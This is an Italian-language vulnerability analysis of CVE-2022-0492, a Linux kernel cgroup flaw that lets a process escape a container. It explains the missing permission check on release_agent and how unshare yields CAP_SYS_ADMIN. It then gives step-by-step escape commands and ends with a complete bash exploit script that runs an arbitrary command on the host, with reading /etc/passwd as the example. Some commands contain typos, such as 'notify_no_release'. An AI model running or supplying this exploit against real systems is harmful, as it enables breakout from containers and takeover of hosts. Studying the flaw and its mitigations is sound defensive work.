
CVE-2022-0492 EXP e resoconto dell'analisi
[toc]
ID Vulnerabilità: CVE-2022-0492
Prodotto Vulnerabile: kernel linux - cgroup
Versioni Interessate: ~linux kernel 5.17-rc3
Impatto Vulnerabilità: Quando il container non ha misure di sicurezza aggiuntive attive, ottenere i permessi di root all'interno del container permette di fuggire all'host.
Su una macchina Linux con una versione del kernel vulnerabile, utilizzare Docker.
# Avvia Docker disabilitando tutte le protezioni di sicurezza
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
Questo articolo utilizza Docker come ambiente sperimentale.
Il metodo di sfruttamento di questa vulnerabilità è già ben noto, ma il punto chiave è la mancanza di verifica dei permessi per la modifica di release_agent in cgroup, che abbassa ulteriormente la soglia per lo sfruttamento (prima era necessaria la capacità CAP_SYS_ADMIN, con questa vulnerabilità non serve). Per le differenze specifiche nelle precondizioni di sfruttamento, vedere la sezione "Condizioni di Sfruttamento" di seguito.
Analizzando la patch, è stata modificata la funzione cgroup_release_agent_write, aggiungendo l'autenticazione. Ciò significa che release_agent di cgroup non può più essere modificato da utenti senza i permessi necessari:

Quindi la vulnerabilità è determinata da un controllo di accesso inefficace.
cgroup (Control Group) è una funzionalità del kernel Linux utilizzata per limitare, controllare e separare le risorse (come CPU, memoria, I/O su disco) di un gruppo di processi.
cgroup ha i seguenti sottosistemi:
devices – permessi sui dispositivi a livello di processocpuset – assegna le CPU e i nodi di memoria che un processo può utilizzarecpu – controlla l'utilizzo della CPUcpuacct – statistiche sull'uso della CPU, ad esempio tempo di esecuzione, tempo throttledmemory – limita l'utilizzo massimo di memoriafreezer – sospende i processi in un cgroupnet_cls – insieme a tc (traffic controller) limita la larghezza di banda di retenet_prio – imposta la priorità del traffico di rete dei processihuge_tlb – limita l'utilizzo di HugeTLBperf_event – consente a Perf di eseguire misurazioni basate sui gruppi cgroupI cgroup dell'host si trovano tutti in /sys/fs/cgroup, dove si possono vedere i vari sottosistemi cgroup:

I cgroup corrispondenti in Docker sono nodi figli di quelli dell'host. Visualizzazione del cgroup di memoria in Docker:

Il nodo corrispondente al nome del contenitore nella directory Docker dell'host è identico:

cgroup viene utilizzato tramite un file system. Montando cgroup in una directory tramite mount, cgroup interagisce con noi attraverso il filesystem virtuale VFS. Le interfacce di cgroup sono presentate sotto forma di file, quindi si utilizzano le normali operazioni sui file per impostare i parametri di cgroup.
mount -t cgroup -o memory cgroup /tmp/testcgroup

È possibile creare nodi figli di cgroup creando sottodirectory nella directory: mkdir /tmp/testcgroup/x.
Ogni sottosistema di cgroup ha il parametro notify_on_release, di tipo Boolean (1 o 0). Può rispettivamente abilitare o disabilitare l'esecuzione del comando di rilascio. Se notify_on_release è abilitato (1), quando il cgroup non contiene più alcun task (cioè quando l'ultimo processo nel cgroup termina e il PID nel file tasks del cgroup è vuoto), il kernel esegue il contenuto del file specificato dal parametro release_agent. Il valore di notify_on_release viene modificato attraverso il file notify_on_release.

La vulnerabilità risiede nella modifica di release_agent. In origine, chiunque potesse operare su cgroup poteva modificare release_agent, ma per usare cgroup era necessaria la capacità CAP_SYS_ADMIN. Successivamente, i ricercatori hanno scoperto che creando un nuovo namespace con il comando unshare si ottengono tutte le capabilities, quindi la restrizione CAP_SYS_ADMIN viene aggirata, abbassando notevolmente la soglia di sfruttamento.
unshareIl comando unshare ha la funzione di rimuovere la condivisione di namespace specificati dal processo padre, per poi eseguire il programma specificato nel nuovo namespace creato. Rilevante per il nostro sfruttamento: il nuovo namespace creato da unshare possiede tutte le capabilities, inclusa CAP_SYS_ADMIN.

Lo sfruttamento di questa vulnerabilità è uguale al tradizionale metodo di fuga con CAP_SYS_ADMIN + release_agent di cgroup, ma le condizioni di sfruttamento differiscono.
Le differenze tra le condizioni di sfruttamento di questa vulnerabilità e quelle del tradizionale release_agent sono:
Tradizionale release_agent: Il container deve avere CAP_SYS_ADMIN e non deve avere apparmor o selinux attivi.
CVE-2022-0492: Il container deve essere "nudo" (più precisamente: seccomp non deve disabilitare unshare, apparmor non deve impostare cgroup in sola lettura, selinux disattivato), e si ottiene l'accesso root all'interno del container. Non è necessario ottenere CAP_SYS_ADMIN.
È interessante notare che il profilo apparmor predefinito di Docker imposta cgroup in sola lettura, e il profilo seccomp predefinito di Docker disabilita unshare quando non si ha CAP_SYS_ADMIN. Kubernetes di default di solito esegue container "nudi". In ogni caso, poiché lo sfruttamento è relativamente semplice, si può provare in scenari specifici.
Dopo la correzione della vulnerabilità: Secondo il codice della patch:

Per modificare il file release_agent sono necessarie due condizioni:
CAP_SYS_ADMINPertanto, dopo la correzione, la capacità CAP_SYS_ADMIN ottenuta tramite unshare non può più essere utilizzata per modificare release_agent, perché il nuovo namespace creato da unshare non è il namespace radice. Tuttavia, se il container possiede già la capacità CAP_SYS_ADMIN, può ancora utilizzare questo metodo di fuga.
CAP_SYS_ADMINSe il container è stato avviato con il parametro --cap-add=SYS_ADMIN o --privileged (container privilegiato), possiede già CAP_SYS_ADMIN e non è necessario ottenerlo ulteriormente. Ad esempio con il comando di avvio:
# Avvia Docker con sys_admin, disabilita apparmor (altrimenti non si può montare)
docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
Un container con CAP_SYS_ADMIN può procedere direttamente al passo successivo "Modifica di release_agent". Per avviare un Docker senza CAP_SYS_ADMIN e riprodurre la vulnerabilità:
# Avvia Docker disabilitando tutte le protezioni di sicurezza
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
Senza CAP_SYS_ADMIN, si può ottenere la capacità attraverso il comando unshare:
unshare -UrmC --propagation=unchanged bash
Il nuovo namespace possiede tutte le capabilities.

Montare cgroup in una directory. Poiché si utilizza mount, è necessario il permesso CAP_SYS_ADMIN. Dopo il passo precedente, lo abbiamo già (o lo abbiamo ottenuto tramite unshare). Inoltre, dobbiamo creare un nodo cgroup nel cgroup appena montato, per facilitare la successiva operazione di svuotamento dei task:
mkdir /tmp/testcgroup
mount -t cgroup -o memory cgroup /tmp/testcgroup
# Quindi creare un nodo figlio in /tmp/testcgroup
mkdir /tmp/testcgroup/x
Se memory non può essere montato o non ha release_agent, si può provare un altro sottosistema cgroup.
Dal file /etc/mtab è possibile leggere le informazioni sul filesystem overlay di Docker montato. Il campo upperdir contiene il percorso assoluto della directory root del container nell'host:

Si può ottenere con il seguente comando:
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
release_agent e attivare la fugaImpostare notify_on_release a 1 per abilitare l'esecuzione di release_agent quando i task vengono svuotati:
echo 1 > /tmp/testcgroup/x/notify_no_release
Creare il file che verrà eseguito quando release_agent viene attivato:
touch /cmd
echo '#!/bin/sh' > /cmd
echo "ps -ef >> $host_path/result" >> /cmd
chmod 777 /cmd
Modificare release_agent puntandolo al percorso del file cmd nell'host (il percorso della directory root del container nell'host è già stato ottenuto sopra):
echo "$host_path/cmd" > /tmp/testcgroup/release_agent
Successivamente, aggiungere un task al nodo cgroup x, scrivendo il PID della shell corrente nel file cgroup.procs:
sh -c "echo \$\$ > /tmp/testcgroup/x/cgroup.procs"
Il comando sh esegue solo un echo, che termina immediatamente. Così il nodo x non avrà più task, attivando notify_on_release che esegue il file /cmd specificato da release_agent. Il kernel esegue il comando all'esterno del container, completando la fuga. Fuga riuscita:

Sulla base della procedura, è stato scritto un exploit:
#!/bin/bash
hackCMD=$1
CAP_SYS_ADMIN=0x80000
ifSysAdmin=0
mountDir=/tmp/testcgroup
cmdPath=/cmd
hostPath=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
mkdir $mountDir
# create cmd
touch $cmdPath
echo '#!/bin/sh' > $cmdPath
echo "$1 > $hostPath/result" >> $cmdPath
chmod 777 $cmdPath
#create escape.sh
cat <<EOF > ./escape.sh
#!/bin/bash
subsys=\$1
mountDir=\$2
host_path=\$3
mount -t cgroup -o \$subsys cgroup \$mountDir
if [ ! -d \$mountDir/x ]
then
mkdir \$mountDir/x
fi
cd \$mountDir/x
echo 1 > \$mountDir/x/notify_on_release
echo "\$host_path/cmd" > \$mountDir/release_agent
sh -c "echo \\\$\\\$ > \$mountDir/x/cgroup.procs"
sleep 0.5
umount $mountDir
EOF
chmod 777 ./escape.sh
#get if has cap_sys_admin
nowCap=`cat /proc/$$/status | grep CapEff`
nowCap=${nowCap#*CapEff:}
nowCap=${nowCap%%CapEff*}
nowCap=0x${nowCap: 1: 16}
ifSysAdmin=0
if [ $((($nowCap)&$CAP_SYS_ADMIN)) != 0 ]
then
ifSysAdmin=1
fi
if [ $ifSysAdmin == 1 ]
then
echo "[+] You have CAP_SYS_ADMIN!"
else
echo "[-] You donot have CAP_SYS_ADMIN, will try"
fi
#try escape
while read -r subsys
do
if [ $ifSysAdmin == 1 ]
then
if mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent >/dev/null 2>&1 ; then
./escape.sh $subsys $mountDir $hostPath
echo "[+] Escape Success!"
rm -r $mountDir
cat /result
rm /result
exit 0
fi
else
if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent" >/dev/null 2>&1 ; then
unshare -UrmC --propagation=unchanged bash -c "./escape.sh $subsys $mountDir $hostPath"
echo "[+] Escape Success with unshare!"
rm -r $mountDir
cat /result
rm /result
exit 0
fi
fi
done <<< $(cat /proc/$$/cgroup | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$')
echo "[-] Escape Fail!"
rm -r $mountDir
Eseguire direttamente, passando come argomento il comando da eseguire per la fuga: ad esempio ./exp.sh "cat /etc/passwd"
Fuga riuscita:

Di default, Docker abilita seccomp e apparmor, quindi la vulnerabilità non può essere sfruttata in container che hanno le regole predefinite di seccomp e apparmor attive. Kubernetes di default non ha misure di sicurezza; è necessario abilitare manualmente seccomp, apparmor o selinux.
https://nvd.nist.gov/vuln/detail/CVE-2022-0492
https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492
https://www.freebuf.com/vuls/264843.html
Inoltre, sono state consultate persone coinvolte nella scoperta di questa vulnerabilità.